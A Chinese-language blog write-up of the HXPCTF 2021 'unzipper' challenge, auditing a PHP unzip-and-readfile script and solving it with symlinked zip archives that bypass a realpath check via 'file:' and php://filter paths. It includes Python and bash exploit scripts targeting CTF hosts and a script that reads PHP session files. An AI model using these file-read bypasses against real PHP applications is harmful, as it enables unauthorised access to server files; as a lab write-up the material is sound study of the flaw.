nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[HXPCTF 2021]unzipper 超详细,附上解题思路

前言

不要为了做题而做题--------时刻提醒
看师傅的文章,发现一道很有意思的题,批评师傅没讲明白,研究了好久,大概看明白了

代码审计

<?php
session_start() or die('session_start');
 
$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
$sandbox = 'data/' . $_SESSION['sandbox'];
$lock = fopen($sandbox . '.lock', 'w') or die('fopen');
flock($lock, LOCK_EX | LOCK_NB) or die('flock');
 
@mkdir($sandbox, 0700);
chdir($sandbox) or die('chdir');
 
if (isset($_FILES['file']))
    system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES['file']['tmp_name']));
else if (isset($_GET['file']))
    if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: ''))
        readfile($_GET['file']);
 
fclose($lock);

$lock = fopen($sandbox . '.lock', 'w') or die('fopen');:以写入模式打开一个名为 .lock 的文件,如果无法打开则输出'fopen'并终止脚本。这是为了在并发环境中避免多个进程同时访问相同的沙盒目录。

flock($lock, LOCK_EX | LOCK_NB) or die('flock');:获取独占锁,如果无法获取则输出'flock'并终止脚本。这是为了确保在同一时刻只有一个进程可以访问沙盒目录。

@mkdir($sandbox, 0700);:创建沙盒目录,如果目录已存在则忽略错误。设置目录权限为0700,只允许所有者读、写、执行。

chdir($sandbox) or die('chdir');:改变当前工作目录为沙盒目录,如果失败则输出'chdir'并终止脚本。

system('ulimit -v 8192 && /usr/bin/timeout -s KILL 2 /usr/bin/unzip -nqqd . ' . escapeshellarg($_FILES'file'));:如果上传了文件,则执行系统命令,限制虚拟内存使用量为8192KB,超时2秒,解压上传的文件到当前目录。
ulimit -v 8192:这是一个用于设置 shell 虚拟内存限制的命令。在这里,-v 8192 表示将虚拟内存限制设置为 8192KB。这可以防止系统资源被过度占用,从而限制了解压操作可能占用的内存量。

&&:这是一个逻辑操作符,用于连接两个命令。在这里,它表示在第一个命令执行成功的情况下才会执行第二个命令。

/usr/bin/timeout -s KILL 2:这是一个用于设置命令执行超时的工具。-s KILL 参数表示在超时时发送 SIGKILL 信号强制终止命令的执行,2 表示超时时间为 2 秒。

/usr/bin/unzip -nqqd .:这是一个用于解压文件的命令。具体参数的含义如下:

-n:不覆盖已存在的文件。
-qq:安静模式,不显示解压缩过程中的信息。
-d .:指定解压缩后的文件存放目录为当前目录。
escapeshellarg($_FILES'file'):这是一个 PHP 函数,用于转义命令中的参数,以防止命令注入攻击。它会返回一个经过转义的文件名,用作命令的参数。

if (isset($_GET['file'])) { if (0 === preg_match('/(^$|flag)/i', realpath($_GET['file']) ?: '')) { readfile($_GET['file']); } }:如果GET请求中包含'file'参数,并且该参数的值不匹配指定的正则表达式,则读取文件内容并输出。

fclose($lock);:关闭文件锁,释放资源。

方法一

这个代码审计起来难度不低,其实很高,所以直接看别人审计的结果,更好帮助理解前面就是创建一个目录什么的不重要,重要的是readfile可以读取文件,而且可以配合为协议的使用,然后又有unzip压缩的过程,其实想到软链接,当然这里多了一个不速之客,就是realpath,它是干嘛的?realpath会解析软链接的路径,返回一个绝对路径。就是我们即使放入了软链接,也会被解析出来,导致不能执行readfile,但是它有一个缺陷,就是它不能识别协议,会把协议当然文件夹,而readfile可以,什么意思,我拿师傅举的例子,比如我file:///flag.txt,readfile就是读取/flag.txt文件,

mkdir file:
cd file:
touch 1.txt
ln -s 1.txt flag.txt
cd ..
zip -ry 1.zip file:

经过我这样一番操作,解压1.zip之后,file:///flag.txt 因为file:就不会丢弃了,因为现在file:是个目录了,如果file:不是目录会怎么样?realpath 会丢弃协议部分 file://,并返回 /flag.txt 作为解析后的绝对路径。现在不丢弃,那绝对路径就是file:/flag.txt,而ln -s 1.txt flag.txt,flag.txt是指向1.txt的软链接,那真实的路径就是file:/1.txt,所以就不包含flag,绕过了if

下面是具体的实现过程我们只能靠python脚本来实现

import requests as req

headers = {
    'Cookie': 'PHPSESSID=rfh9isimb4h8vg87dcrssde6fa'
}
url = "http://node4.anna.nssctf.cn:28952/"
filename = r"C:\Users\86135\Desktop\2.zip"
def upload(url ,fileName):
    file = {"file":open(fileName,'rb')}
    response = req.post(url=url, files=file,headers=headers)
    print(response.text)

def read(url):
    url=url+"?file=file:///flag.txt"
    res=req.get(url,headers=headers)
    print(res.text)

if __name__ == "__main__":
    upload(url,filename)
    read(url)

上面有个细节就是cookie必须加,因为我第二次去访问的时候如果没有cookie,不知道文件是否上传了,导致失败。
2024-01-31T13:17:26.png
成功得到flag

方法二

当然本题还应该有一种想法,那就是传木马,传个php文件,上去,传文件就需要知道路径,因为访问的时候需要路径,但是我们看前面$_SESSION['sandbox'] ??= bin2hex(random_bytes(16));
random造成了很大的困难,但是很舒服的是存在session里面的,我们可以去读读session的位置获得那个值

import requests
url = "http://node4.anna.nssctf.cn:28952/"

s = requests.Session()#每一次请求都包含session,相当于同一个人发出的请求
res = s.get(url)#看着多余,但是为了获取cookie,必须先执行一遍
sess_id = s.cookies["PHPSESSID"]
print(f"[+] PHPSESSID = {sess_id}")

re = s.get(f"{url}/?file=/var/lib/php/sessions/sess_{sess_id}")
print(re.text)
sandbox = re.text.split(":")[-1].split(";")[0][1:-1]
print(f"[+] sandbox = {sandbox}")

2024-01-31T13:34:45.png
但是有一个致命问题
ningx的配置

location = /index.php {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}

只把index.php以php方式解析
所以才放弃这个思路

方法三

这个2024-01-31T13:43:02.png
我们可以看到是这个结果,那我们这时候再使用软链接就可以了,
在自己服务器上执行,需要对curl命令有一定的熟悉

#!/bin/bash

rm -rf exploit.dir
mkdir -p exploit.dir
pushd exploit.dir

TARGET='http://65.108.176.76:8200'
EPATH='php://filter/convert.base64-encode/resource=exploit'

mkdir -p $EPATH
ln -s /flag.txt exploit
zip -y -r exploit.zip *

curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d

echo
popd
本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [HXPCTF 2021]unzipper 超详细,附上解题思路

评论